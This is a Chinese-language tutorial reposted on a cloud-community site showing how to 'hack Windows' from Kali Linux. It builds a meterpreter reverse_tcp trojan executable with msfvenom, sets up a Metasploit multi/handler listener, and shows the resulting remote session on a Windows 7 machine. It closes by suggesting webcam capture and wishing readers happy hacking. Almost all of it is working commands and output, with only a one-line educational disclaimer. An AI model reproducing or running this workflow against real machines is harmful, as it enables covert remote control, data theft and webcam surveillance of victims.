閱讀662 返回首頁    go 阿裏雲 go 技術社區[雲棲]

如何使用 Kali Linux 黑掉 Windows

Kali Linux 派生自 Debian Linux，主要用於滲透測試，擁有超過 300 個的預安裝好的滲透測試工具。Metasploit 項目中 Metasploit 框架支持 Kali Linux 平台，Metasploit 是一個用於開發和執行安全利用代碼security exploit的工具。讓我們來使用 Kali Linux 來攻破 Windows 吧。請注意，我寫這篇文章隻是出於教育目的哦——一切因此帶來的後果和本文作者、譯者無關。

源機器詳情

Kali Linux



    

  1. root@kali:/# uname -a
    2. 

  2. Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
    3. 

  3. root@kali:/#
    4. 



用做攻擊對象的目標機器：




  1. Windows 7 Ultimate SP1



步驟 1：創建 Payload 程序


Payload 是一個類似於病毒或者木馬的程序，可以運行在遠程目標上 —— 為了黑掉那台機器。可以通過以下命令來創建 Payload（program.exe），以便能使用 Kali Linux 黑掉 Windows。




    

  1. root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root/program.exe
    2. 

  2. No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    3. 

  3. No Arch selected, selecting Arch: x86 from the payload
    4. 

  4. No encoder or badchars specified, outputting raw payload
    5. 

  5. Payload size: 333 bytes
    6. 

  6. Final size of exe file: 73802 bytes
    7. 

  7. Saved as: /root/program.exe
    8. 

  8. root@kali:/# ls -la /root/program.exe
    9. 

  9. -rw-r--r-- 1 root root 73802 Jan 26 00:46 /root/program.exe
    10. 



通過 ls 命令，我們可以確認 Payload 程序是否成功生成在指定的位置。



步驟 2：運行 mfsconsole 命令啟動 msf 命令窗口




    

  1. root@kali:# msfconsole
    2. 

    3. 

    4. 

  4.  .,,. .
    5. 

  5.  .\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
    6. 

  6.  d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
    7. 

  7.  d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
    8. 

  8.  d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
    9. 

  9.  88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
    10. 

  10.  d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
    11. 

  11. d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
    12. 

  12.  .a#$$$$$$"` 88b d8P 88b`?8888P'
    13. 

  13.  ,s$$$$$$$"` 888888P' 88n _.,,,ass;:
    14. 

  14.  .a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
    15. 

  15.  .a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
    16. 

  16.  ,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
    17. 

  17.  .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
    18. 

  18. _______________________________________________________________ ,&$$$$$$'_____
    19. 

  19.  ll&&$$$$'
    20. 

  20.  .;;lll&&&&'
    21. 

  21.  ...;;lllll&'
    22. 

  22.  ......;;;llll;;;....
    23. 

  23.  ` ......;;;;... . .
    24. 

    25. 

    26. 

  26. Taking notes in notepad? Have Metasploit Pro track & report
    27. 

  27. your progress and findings -- learn more on https://rapid7.com/metasploit
    28. 

    29. 

  29.  =[ metasploit v4.12.22-dev ]
    30. 

  30. + -- --=[ 1577 exploits - 906 auxiliary - 272 post ]
    31. 

  31. + -- --=[ 455 payloads - 39 encoders - 8 nops ]
    32. 

  32. + -- --=[ Free Metasploit Pro trial: https://r-7.co/trymsp ]
    33. 

    34. 

  34. msf >
    35. 




步驟 3：進行漏洞利用的細節


    

  • 4444 端口：你可以按照自己的想法來選擇使用哪個端口
    • 

  • LHOST IP：表示 Kali Linux 機器的 IP，這裏是 192.168.189.128。 使用如下命令來查看你的 Kali Linux 機器的 IP。
    • 





    

  1. root@kali:/# ip r l
    2. 

  2. 192.168.189.0/24 dev eth0 proto kernel scope link src 192.168.189.128 metric 100
    3. 

  3. root@kali:/#
    4. 



現在在 msf 命令窗口使用 use exploit/multi/handler 命令，如下：




    

  1. msf > use exploit/multi/handler
    2. 

  2. msf exploit(handler) >
    3. 



然後在接下來的命令窗口中使用命令 set payload windows/meterpreter/reverse_tcp：




    

  1. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    2. 

  2. payload => windows/meterpreter/reverse_tcp
    3. 



現在使用 LHOST 和 LPORT 來設置本地 IP 和本地端口，如下：




    

  1. msf exploit(handler) > set lhost 192.168.189.128
    2. 

  2. lhost => 192.168.189.128
    3. 

  3. msf exploit(handler) > set lport 4444
    4. 

  4. lport => 4444
    5. 



最後使用 exploit 命令。




    

  1. msf exploit(handler) > exploit
    2. 

    3. 

  3. [*] Started reverse TCP handler on 192.168.189.128:4444
    4. 

  4. [*] Starting the payload handler...
    5. 



現在你需要在 Windows 上運行 program.exe，一旦它在目標機器上執行，你就可以建立一個 meterpreter 會話。輸入 sysinfo 就可以得到這台被黑掉的 Windows 機器的詳情。




    

  1. msf exploit(handler) > exploit
    2. 

    3. 

  3. [*] Started reverse TCP handler on 192.168.189.128:4444
    4. 

  4. [*] Starting the payload handler...
    5. 

  5. [*] Sending stage (957999 bytes) to 192.168.189.1
    6. 

  6. [*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.1:53091) at 2017-01-26 00:51:31 +0000
    7. 

    8. 

  8. meterpreter > sysinfo
    9. 

  9. Computer : MANN-PC
    10. 

  10. OS : Windows 7 (Build 7601, Service Pack 1).
    11. 

  11. Architecture : x64 (Current Process is WOW64)
    12. 

  12. System Language : en_IN
    13. 

  13. Domain : WORKGROUP
    14. 

  14. Logged On Users : 2
    15. 

  15. Meterpreter : x86/win32
    16. 



一旦你得到了這些詳細信息，就可以做更多的漏洞利用，或者通過 help 命令獲取更多信息，以便列出你可以黑掉該係統的所有選項，比如 webcam_snap 命令獲取網絡攝像頭，同樣你還可以使用其他更多的可用選項。祝你入侵愉快！！！！ ←_←




原文發布時間為：2017-02-11


本文來自雲棲社區合作夥伴“Linux中國”


最後更新：2017-05-26 09:02:08
  上一篇：go  為什麼新年下的決心總是實現不了
  下一篇：go  編寫 android 測試單元該做的和不該做的事